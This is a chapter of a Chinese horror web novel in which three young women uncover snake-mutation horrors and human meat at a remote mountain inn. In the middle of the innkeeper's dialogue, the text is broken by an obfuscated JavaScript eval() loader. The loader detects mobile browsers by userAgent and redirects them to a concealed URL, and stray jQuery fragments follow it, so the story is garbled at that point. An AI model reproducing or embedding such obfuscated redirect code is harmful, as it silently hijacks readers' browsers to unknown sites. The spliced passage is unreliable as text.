白闽握紧紫鞭，正要抵老头脖子上逼问到底是怎么一回事。


    下一秒，老头的脖子突然向后折成不可能的角度，整个身体像断线的木偶般瘫软在地。他的皮肤迅速干瘪下去，仿佛有什么东西正从内部吸食他的血肉。


    从他长大的嘴里，一条青黑色像蛇信缓缓探出，紧接着是两颗滴着毒液的尖牙。


    赵禾原地不动，始终死死盯着那个正在“蜕皮”的老头，两人对视一眼，默契地快速退向楼梯。


    就在他们踏上第一级台阶时，地下室里突然响起此起彼伏的“嘶嘶”声。货架后的阴影里，无数双泛着冷光的竖瞳接连亮起，铁笼开始剧烈摇晃。


    “快走！”白闽甩出鞭子，抽向地面，炸开的鞭响在密闭空间里震耳欲聋。两个转身冲向楼梯，身后传来重物坠地的闷响和鳞片摩擦地板的沙沙声。


    赵禾最后一个退出地下室，反手抄起一根硬木棍卡在门缝上。白闽立即会意，紫鞭如灵蛇般缠上门把手，两人合力将沉重的木门死死拉上。门内传来“砰”的一声闷响，整扇门都震动了一下。


    “怎么了？”初与序站在门口外。


    “里面有个老头。”赵禾急促地回答，“锁呢？”


    白闽从麻花辫上抽出一根皮筋，将里面的铁丝取出，三两下将门锁缠住：“撑不了多久，先离开这里。”


    三人快步穿过杂草丛生的后院，直到回到旅馆主楼附近才放缓脚步。白闽的紫鞭仍紧握在身后：“那个老头，他在变异？”


    赵禾脸色凝重：“是的。那些笼子，我猜是给住客准备的。”


    初与序突然看向二楼窗户，在窗帘的缝隙间，几张苍白的脸正默默注视着他们，又很快隐入黑暗。


    三人走向旅馆大门时，身后传来地下室方向的一声巨响，像是有什么重物撞开了那扇脆弱的木门。他们没有回头，推开了旅馆大门。


    大厅的壁炉已经烧得正旺，火光在墙壁上投下摇曳的影子。住客们三三两两围坐，低声交谈。


    角落里，一位须发皆白的老先生坐在摇椅上，膝盖上摊着一本破旧的羊皮册子。他的眼睛浑浊泛黄，像是蒙着一层薄雾，嗓音沙哑却带着某种奇异的吸引力。


    “你们知道这座山的传说吗？”他缓缓开口，周围的住客立刻安静下来，连呼吸都放轻了。


    白闽拉着赵禾挤进人群，初与序则靠在墙边，扫视着四周人群。


    老先生的身影像是从很远的地方传来：“很久很久以前，这座深山地下，盘着一条上古巨蛇。它不是普通的蛇，而是活了千年的怪物，鳞片如蛇，毒牙似刀，连山里的猛兽见了它都要绕道走。”


    “某一天，有个胆大包天的猎户，趁巨蛇冬眠时，剖开了它的脊背，取走了最中央的一节骨头。”


    他的身影忽然压低：“那节骨头被制作成了笛子，一根刻满蛇鳞纹路的骨笛。笛声一响，活人失魂，亡魂被困。”


    大厅里的温度似乎骤然下降，白闽不自觉地搓了搓手臂，赵禾则盯着老先生的手指，他的指甲泛着不自然的青灰色。


    “活人听到笛声，会变得眼神空洞。”老先生继续道，“像梦游一样跟着吹笛人走，任人摆布。”


    “那亡魂呢？”一个住客问。


    “亡魂更惨。”老先生咧嘴一笑，“它们会被笛声束缚，无法超生，只能永远跟在吹笛人身后，像一群无家可归的影子。”


    “而那个吹笛人，总是在月圆之夜出现。”


    壁炉的火光忽明忽暗，将他的脸映得阴晴不定。


    “有人说，”他继续道，“当月亮升到最高处时，吹笛人的皮肤会浮现出蛇鳞般的纹路，眼睛变成竖瞳，舌头分叉，就像那条上古巨蛇一样。”


    初与序的目光落在老先生脚下，摇曳的火光中，他的摇椅投下清晰的阴影，可他却没有影子。


    “活人和亡魂排成长列，跟着笛声走进深山。”他的语调变得飘忽，“从此再没有人见过他们，除了吹笛人自己，没人知道他们去了哪里。”


    “那……有人见过那条巨蛇吗？”一个住客颤抖着问。


    老先生缓缓摇头：“没有活人见过，或者说……见过的人，都没能回来讲述它的模样。”


    初与序了然，既然如此，那么他所说的“胆大包天的猎户”要么与蛇达成了什么交易，要么便不是活人，或者不算真正的活人。


    她的目光从老先生身上移开，耳边忽然捕捉到一丝异响。


    “窸窣窸窣——”


    像是某种细长的生物正贴着二楼走廊的地板游走，鳞片蹭木板的声音几乎听不见。趁着众人沉浸在老先生的诡异故事中，她悄无声息地退到楼梯拐角，短刀握在掌心里。


    二楼走廊比白天更阴森，昏黄的壁灯投下光晕。尽头那扇窗户外，惨白的月光将树影扭曲成张牙舞爪的形状。方才的声音似乎消失了，但地板上留下一样东西。


    一条完整的蛇蜕，从楼梯口一直延伸到初与序的房间门前。


    她蹲下身，刀尖挑起蛇蜕。蛇皮足有成人手臂粗细，内侧黏附的透明黏液尚未干涸。而蛇蜕的头部位置竟依稀呈现出一张人脸的轮廓，仿佛有什么东西是从人类口腔中蜕皮而出。


    而此刻楼下，住客们的讨论还在继续，但白闽的注意力却被另一种气味拽走了。


    “你闻到了没？”她悄悄捅了捅赵禾，“像是什么东西烂透了。”


    赵禾没说话，但眉头已经皱了起来，她点点头。两人对视一眼，借着去洗手间的借口溜出了大厅，顺着那股愈发浓烈的腐臭味，一路摸到了厨房。


    推开门的下一秒，气味猛地撞了上来。白闽差点干呕出声，赶紧捂住口鼻。


    厨房里点着一盏油灯，昏黄的光线下，老板正背对着她们，站在砧板前切着什么。听到动静，他回过头，苍白的脸上挂着温和的笑：“你们饿了？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675032|177773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    他的皮肤几乎透明，但除此之外，没有任何异常。


    白闽强忍着恶心，指向角落里堆着的几大块暗红色的肉块：“老、老板，那是啥肉啊？”


    老板的刀停在半空，他转头看了一眼，慢吞吞解释：“用古法熏制，味道是重了些，但很滋养。”他用刀尖挑起一块递过去给两人看，肉块表面布满蜂窝状的孔洞，正渗出液体。


    赵禾踢了踢墙角的麻袋，和他们在后院木屋见到的一模一样，袋口渗出深色液体：“用什么腌的？”


    “祖传的配方。”老板从架子上取下一个陶罐，掀开盖子。罐子里跑着数十条小蛇，他们的鳞片在腌料中泛着诡异的蓝光，“这是山里的蛇，最能去腥提鲜。”


    白闽盯着陶罐里的小蛇沉默片刻，干笑两声：“你…懂得还挺多哈。”


    老板笑了笑，将盖子重新盖到陶罐上：“从小就住在山里，自然懂得这些。”他转过身，用干净的布擦着刀，“这里味道太重，马上晚饭了，两位姑娘请回大厅吧。”


    白闽立刻拉着赵禾逃也似的离开厨房，走之前还不忘把门关上，勉强隔绝掉那股腐臭味。


    初与序刚好从楼梯上下来，她用纸巾抱着手，拿着一片泛着青光的蛇蜕，脸色比平时更冷。


    “房间的床下有血，还有蛇蜕。”初与序开门见山，“二楼走廊也有，新鲜的。”说着，她将蛇蜕翻过来，内侧黏附的透明黏液里面混着几丝暗红。


    赵禾瞥了眼厨房方向：“那个老板在腌蛇肉，里面摆放的麻袋和木屋里的一样。”


    “味道极重。”白闽捏着鼻子吐槽。


    初与序将蛇蜕收进面板，刚要开口，大厅的座钟突然敲响。餐厅的门被推开，住客们鱼贯而入，谈笑声比中午更加高亢。


    三人跟在人群末尾，长桌上已经摆好了餐食，和中午的菜品差不多。白闽数了数座位，心头一紧：“好像少了三个人。”


    那个戴毛线帽的老头不见了，连同他邻座的一对年轻情侣。他们的位置空着，但餐具整齐地摆着，仿佛随时会有人来坐。


    “山里信号差，他们提前下山了。”老板出现在主位，解释道。住客们发出心领神会的笑声，刀叉已经迫不及待地戳向肉块。


    初与序盯着老板袖口，那里有一小片未擦净的青黑色污渍，像干涸的蛇血。她默默地移开目光，没有碰桌上任何餐具，而是靠在椅背上，侧头望向窗外。


    白闽皱眉看着肉块，用只有三人能听见的声音说：“今晚的不会还是蛇肉吧？”


    “不是。”赵禾淡淡道。


    白闽松了口气，但又好奇道：“那是什么动物的肉？野猪肉？”


    “人肉。”


    白闽：“……”


    怎么一个比一个恐怖啊？！


    初与序全程没有开口说话，窗外，快满月的月亮升到了旅馆上空，树影在玻璃上投下蜿蜒的蛇形阴影。